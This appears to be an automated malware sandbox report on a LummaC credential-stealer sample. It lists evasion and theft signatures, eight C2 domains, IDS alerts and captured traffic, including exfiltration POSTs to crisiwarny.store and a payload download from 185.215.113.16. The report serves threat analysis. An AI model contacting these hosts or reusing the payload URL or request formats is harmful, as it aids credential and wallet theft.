Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1543076
MD5:	4de2d02365f8c1587ba6cd4c60ed583c
SHA1:	d9cc0e947ba23d40e0dc5c22a8769e4c51ea5f5d
SHA256:	988d0d579cc79faac744cd7dfb04da46f67943eeb72f352065e26645fec2bf0a
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6188 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 4DE2D02365F8C1587BA6CD4C60ED583C)

4EIXPY3PJ1MHC0SHPSNPXSN.exe (PID: 5696 cmdline: "C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe" MD5: EE9819111F122A1721A97FCC6C77A7F0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["crisiwarny.store", "scriptyprefej.store", "thumbystriw.store", "presticitpo.store", "founpiuer.store", "fadehairucw.store", "necklacedmny.store", "navygenerayk.store"], "Build id": "4SD0y4--legendaryy"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2185903553.00000000014B9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2198545884.00000000014BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2163406436.00000000014B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2212575525.00000000014BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2198875402.00000000014BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2212815375.00000000014BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2215458427.00000000014BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2212601522.00000000014BD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2212774632.00000000014BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2163553412.00000000014BB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6188	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 6188	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6188	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 9 entries

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T07:59:04.107024+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49709	172.67.170.64	443	TCP
2024-10-27T07:59:05.328292+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49710	172.67.170.64	443	TCP
2024-10-27T07:59:17.059544+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49744	172.67.170.64	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T07:59:04.107024+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49709	172.67.170.64	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T07:59:05.328292+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49710	172.67.170.64	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T07:59:17.962462+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49750	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T07:59:07.589101+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49712	172.67.170.64	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: file.exe.6188.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["crisiwarny.store", "scriptyprefej.store", "thumbystriw.store", "presticitpo.store", "founpiuer.store", "fadehairucw.store", "necklacedmny.store", "navygenerayk.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for domain / URL

Source: crisiwarny.store

Virustotal: Detection: 13%

Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 46%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2369524749.0000000000591000.00000040.00000001.01000000.00000003.sdmp	String decryptor: scriptyprefej.store
Source: 00000000.00000002.2369524749.0000000000591000.00000040.00000001.01000000.00000003.sdmp	String decryptor: navygenerayk.store
Source: 00000000.00000002.2369524749.0000000000591000.00000040.00000001.01000000.00000003.sdmp	String decryptor: founpiuer.store
Source: 00000000.00000002.2369524749.0000000000591000.00000040.00000001.01000000.00000003.sdmp	String decryptor: necklacedmny.store
Source: 00000000.00000002.2369524749.0000000000591000.00000040.00000001.01000000.00000003.sdmp	String decryptor: thumbystriw.store
Source: 00000000.00000002.2369524749.0000000000591000.00000040.00000001.01000000.00000003.sdmp	String decryptor: fadehairucw.store
Source: 00000000.00000002.2369524749.0000000000591000.00000040.00000001.01000000.00000003.sdmp	String decryptor: crisiwarny.store
Source: 00000000.00000002.2369524749.0000000000591000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.2369524749.0000000000591000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.2369524749.0000000000591000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2369524749.0000000000591000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2369524749.0000000000591000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2369524749.0000000000591000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2369524749.0000000000591000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2369524749.0000000000591000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 4SD0y4--legendaryy

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.6:49744 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 4EIXPY3PJ1MHC0SHPSNPXSN.exe, 00000005.00000003.2363649177.0000000004890000.00000004.00001000.00020000.00000000.sdmp, 4EIXPY3PJ1MHC0SHPSNPXSN.exe, 00000005.00000002.2497879112.0000000000962000.00000040.00000001.01000000.00000006.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49709 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49709 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49710 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49710 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49712 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49744 -> 172.67.170.64:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: navygenerayk.store

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 27 Oct 2024 06:59:17 GMTContent-Type: application/octet-streamContent-Length: 2811904Last-Modified: Sun, 27 Oct 2024 06:22:41 GMTConnection: keep-aliveETag: "671ddc31-2ae800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 98 47 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 77 68 70 6c 70 76 70 69 00 a0 2a 00 00 a0 00 00 00 88 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 6f 6b 74 62 69 65 62 00 20 00 00 00 40 2b 00 00 04 00 00 00 c2 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 c6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 172.67.170.64 172.67.170.64
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49750 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12864Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15110Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19968Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1223Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 571969Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: crisiwarny.store

Source: file.exe, 00000000.00000002.2375413116.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.2348788505.0000000001440000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2348788505.00000000014AD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375274010.0000000001440000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2374995593.00000000010FA000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000003.2350147802.00000000014C9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375413116.00000000014AD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375521318.00000000014CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.2348788505.00000000014AD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375413116.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe0J
Source: file.exe, 00000000.00000003.2348788505.00000000014AD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375413116.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe3f
Source: file.exe, 00000000.00000003.2350147802.00000000014C9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375521318.00000000014CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeL
Source: file.exe, 00000000.00000003.2198736202.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2198736202.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2198736202.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2198736202.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2198736202.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2198736202.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2198736202.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2198736202.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2198736202.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000000.00000003.2198736202.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2198736202.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2163868482.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163985089.0000000005A88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.2200235248.0000000005A79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000003.2200235248.0000000005A79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: file.exe, 00000000.00000003.2163868482.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163985089.0000000005A88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
